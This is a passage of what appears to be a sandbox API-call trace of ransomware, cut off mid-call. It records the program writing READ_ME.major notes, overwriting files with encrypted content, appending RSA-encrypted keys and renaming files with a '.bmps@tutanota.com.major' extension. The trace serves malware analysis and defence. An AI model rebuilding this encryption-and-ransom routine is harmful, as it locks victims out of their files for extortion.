HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce40 | out: hHeap=0x570000) returned 1 [0151.967] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0660 [0151.967] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd50 [0151.967] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0b10 [0151.967] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d200 [0151.967] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2c0 [0151.967] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7918 [0151.967] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0151.967] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7918 | out: hHeap=0x570000) returned 1 [0151.967] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0278 [0151.967] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0151.967] GetLastError () returned 0x0 [0151.967] SetLastError (dwErrCode=0x0) [0151.967] GetLastError () returned 0x0 [0151.967] SetLastError (dwErrCode=0x0) [0151.967] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5bf3d8 [0151.967] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0278 | out: hHeap=0x570000) returned 1 [0151.967] GetLastError () returned 0x0 [0151.967] SetLastError (dwErrCode=0x0) [0151.967] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b11f0 [0151.967] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x650 [0151.968] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b11f0 | out: hHeap=0x570000) returned 1 [0151.968] WriteFile (in: hFile=0x650, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0151.969] CloseHandle (hObject=0x650) returned 1 [0151.969] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0151.969] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2c0 | out: hHeap=0x570000) returned 1 [0151.969] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d200 | out: hHeap=0x570000) returned 1 [0151.969] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0b10 | out: hHeap=0x570000) returned 1 [0151.969] FindNextFileW (in: hFindFile=0x630d00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x158c65ab, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x158c65ab, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x158c65ab, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0151.969] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ef8 | out: hHeap=0x570000) returned 1 [0151.969] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7a80 [0151.969] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0151.969] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7a80 | out: hHeap=0x570000) returned 1 [0151.969] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0151.969] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0151.969] GetLastError () returned 0x0 [0151.969] SetLastError (dwErrCode=0x0) [0151.969] GetLastError () returned 0x0 [0151.969] SetLastError (dwErrCode=0x0) [0151.969] GetLastError () returned 0x0 [0151.969] SetLastError (dwErrCode=0x0) [0151.969] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccda0 [0151.970] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccda0 | out: hHeap=0x570000) returned 1 [0151.970] FindNextFileW (in: hFindFile=0x630d00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x158c65ab, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x158c65ab, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x158c65ab, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0151.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0151.970] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0151.970] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a9008 | out: hHeap=0x570000) returned 1 [0151.970] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1298 | out: hHeap=0x570000) returned 1 [0151.970] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebeed6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x158ec7fb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x630f40 [0151.970] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0151.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7eb8 [0151.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0151.970] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7eb8 | out: hHeap=0x570000) returned 1 [0151.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0d68 [0151.970] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0151.970] GetLastError () returned 0x12 [0151.970] SetLastError (dwErrCode=0x12) [0151.970] GetLastError () returned 0x12 [0151.970] SetLastError (dwErrCode=0x12) [0151.970] GetLastError () returned 0x12 [0151.970] SetLastError (dwErrCode=0x12) [0151.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0151.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0151.970] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0151.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd78 [0151.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630d40 [0151.970] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630d40 | out: hHeap=0x570000) returned 1 [0151.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40450 [0151.970] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40450 | out: hHeap=0x570000) returned 1 [0151.970] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd78 | out: hHeap=0x570000) returned 1 [0151.970] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0151.970] FindNextFileW (in: hFindFile=0x630f40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebeed6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x158ec7fb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0151.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0d68 | out: hHeap=0x570000) returned 1 [0151.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7b58 [0151.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0151.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x570000) returned 1 [0151.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d08b8 [0151.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0151.971] GetLastError () returned 0x12 [0151.971] SetLastError (dwErrCode=0x12) [0151.971] GetLastError () returned 0x12 [0151.971] SetLastError (dwErrCode=0x12) [0151.971] GetLastError () returned 0x12 [0151.971] SetLastError (dwErrCode=0x12) [0151.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0151.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0151.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0151.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd78 [0151.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630d40 [0151.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630d40 | out: hHeap=0x570000) returned 1 [0151.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0151.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0151.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd78 | out: hHeap=0x570000) returned 1 [0151.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0151.971] FindNextFileW (in: hFindFile=0x630f40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x158ec7fb, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x158ec7fb, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x158ec7fb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0151.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d08b8 | out: hHeap=0x570000) returned 1 [0151.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7b10 [0151.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0151.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7b10 | out: hHeap=0x570000) returned 1 [0151.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0bd8 [0151.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0151.971] GetLastError () returned 0x12 [0151.971] SetLastError (dwErrCode=0x12) [0151.971] GetLastError () returned 0x12 [0151.971] SetLastError (dwErrCode=0x12) [0151.971] GetLastError () returned 0x12 [0151.971] SetLastError (dwErrCode=0x12) [0151.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccee0 [0151.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccee0 | out: hHeap=0x570000) returned 1 [0151.971] FindNextFileW (in: hFindFile=0x630f40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd40b2b5b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd40b2b5b, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x3639a1f2, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x27e, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0151.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0bd8 | out: hHeap=0x570000) returned 1 [0151.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7cc0 [0151.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0151.972] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7cc0 | out: hHeap=0x570000) returned 1 [0151.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0ca0 [0151.972] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0151.972] GetLastError () returned 0x12 [0151.972] SetLastError (dwErrCode=0x12) [0151.972] GetLastError () returned 0x12 [0151.972] SetLastError (dwErrCode=0x12) [0151.972] GetLastError () returned 0x12 [0151.972] SetLastError (dwErrCode=0x12) [0151.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccee0 [0151.972] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccee0 | out: hHeap=0x570000) returned 1 [0151.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0151.972] FindNextFileW (in: hFindFile=0x630f40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd408c921, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd4040448, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0151.972] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ca0 | out: hHeap=0x570000) returned 1 [0151.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7de0 [0151.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b08 [0151.972] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7de0 | out: hHeap=0x570000) returned 1 [0151.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0980 [0151.972] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0151.972] GetLastError () returned 0x12 [0151.972] SetLastError (dwErrCode=0x12) [0151.972] GetLastError () returned 0x12 [0151.972] SetLastError (dwErrCode=0x12) [0151.972] GetLastError () returned 0x12 [0151.972] SetLastError (dwErrCode=0x12) [0151.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0151.972] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0151.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e730 [0151.972] FindNextFileW (in: hFindFile=0x630f40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd408c921, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd4040448, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0151.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0151.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce18 [0151.972] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0151.972] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe", dwFileAttributes=0x80) returned 1 [0151.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e5c0 [0151.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x5bf3d8 [0151.973] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e5c0 | out: hHeap=0x570000) returned 1 [0151.973] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x654 [0151.973] GetFileSizeEx (in: hFile=0x654, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=463016) returned 1 [0151.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x710a8) returned 0x2e40f20 [0151.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x710a8) returned 0x2eb1fd0 [0151.973] ReadFile (in: hFile=0x654, lpBuffer=0x2e40f20, nNumberOfBytesToRead=0x710a8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40f20*, lpNumberOfBytesRead=0x2e3f9b4*=0x710a8, lpOverlapped=0x0) returned 1 [0152.447] SetFilePointer (in: hFile=0x654, lDistanceToMove=-463016, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0152.447] WriteFile (in: hFile=0x654, lpBuffer=0x2eb1fd0*, nNumberOfBytesToWrite=0x710a8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2eb1fd0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x710a8, lpOverlapped=0x0) returned 1 [0152.448] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0152.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2eb1fd0 | out: hHeap=0x570000) returned 1 [0152.449] SetFilePointer (in: hFile=0x654, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x710a8 [0152.449] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0152.449] WriteFile (in: hFile=0x654, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0152.449] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0152.449] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0152.450] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0152.450] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0152.450] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="4oGxWFStmAEhpnwHF0Zfro3kIYEN+jk6iyh2Gt8fSCYXZt3glPnaj3NQKu2n/D/z\nfgIw3iimW9Tds/ixDB6f9+i3Ll8Y6MmbfttnkbBPTk9AOW0IaiPi/YhmquLBTUA+\nXobxl59Tfzc9mmGdZek6stAUSaA7ThXD1KWtyVwv3FgoGwC2wwl+e5QOqo99beup\n1go3pRmzsRUduYd/kHSIMDAddKqJjxKVP34Aqvt5LqqNA1cqnDqV71wgF+DB2Mtp\nH2XxiViozZDBgQDqMAjzJjtT8TKmNBxIrxC/hetD65MrpUY5Kj65GhpXfNZpDJCx\ntSYf7IlioJG1YL48kRK9qg==\n", pcchString=0x2e3f9a8) returned 1 [0152.450] WriteFile (in: hFile=0x654, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0152.450] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0152.450] WriteFile (in: hFile=0x654, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0152.450] CloseHandle (hObject=0x654) returned 1 [0152.450] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0152.450] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe"), lpNewFileName="\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0152.452] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0152.452] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce18 | out: hHeap=0x570000) returned 1 [0152.452] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0152.452] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e730 | out: hHeap=0x570000) returned 1 [0152.452] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2e40f20 [0152.452] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccee0 [0152.452] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0152.452] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm", dwFileAttributes=0x80) returned 1 [0152.452] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5a9008 [0152.452] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x652180 [0152.453] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a9008 | out: hHeap=0x570000) returned 1 [0152.453] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x654 [0152.453] GetFileSizeEx (in: hFile=0x654, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=638) returned 1 [0152.453] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x27e) returned 0x5c1ce8 [0152.453] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x27e) returned 0x5a8108 [0152.453] ReadFile (in: hFile=0x654, lpBuffer=0x5c1ce8, nNumberOfBytesToRead=0x27e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesRead=0x2e3f9b4*=0x27e, lpOverlapped=0x0) returned 1 [0152.454] SetFilePointer (in: hFile=0x654, lDistanceToMove=-638, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0152.454] WriteFile (in: hFile=0x654, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x27e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x27e, lpOverlapped=0x0) returned 1 [0152.454] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0152.454] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0152.454] SetFilePointer (in: hFile=0x654, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x27e [0152.454] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0152.454] WriteFile (in: hFile=0x654, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0152.454] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0152.454] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0152.455] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | 